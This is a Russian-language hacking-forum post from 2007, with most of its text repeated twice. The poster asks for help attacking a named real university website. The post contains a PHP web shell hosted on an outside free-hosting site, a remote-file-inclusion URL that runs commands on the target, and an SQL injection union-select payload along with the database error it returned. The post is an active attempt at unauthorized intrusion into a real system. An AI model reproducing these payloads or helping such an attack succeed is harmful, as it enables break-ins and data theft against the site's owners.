nikoTM
25.09.2007, 17:04
привет всем..люди у мя такая проблема на сайте
http://sicurezza.uniss.it/
есть такое index.php?p= удаленный инклудинг...но по неизвестным мне причинам он не поддерживает например такое
<pre><? @system($_REQUEST['c']); ?></pre> (который я кинул в txt и впихнул в НАРОД). В результате такая страница http://ихсайт/?p=http://что-то.narod.ru/file.txt?c=ls не катит. Но что самое удивидельное когда file.txt такой <? echo 'a'; ?> ссылка катит..вот не пойму с чего бы? :confused:
а про SQL inj там еще есть такое http://sicurezza.uniss.it/index.php?h=1&cat=-1'A но не смог понята почиму он не принимает сам запрос такой результ
You have an error in your SQL syntax near 'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13/* ORDER BY data DESC ' at line 1
http://sicurezza.uniss.it/
есть такое index.php?p= удаленный инклудинг...но по неизвестным мне причинам он не поддерживает например такое
<pre><? @system($_REQUEST['c']); ?></pre> (который я кинул в txt и впихнул в НАРОД). В результате такая страница http://ихсайт/?p=http://что-то.narod.ru/file.txt?c=ls не катит. Но что самое удивидельное когда file.txt такой <? echo 'a'; ?> ссылка катит..вот не пойму с чего бы? :confused:
а про SQL inj там еще есть такое http://sicurezza.uniss.it/index.php?h=1&cat=-1'A но не смог понята почиму он не принимает сам запрос такой результ
You have an error in your SQL syntax near 'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13/* ORDER BY data DESC ' at line 1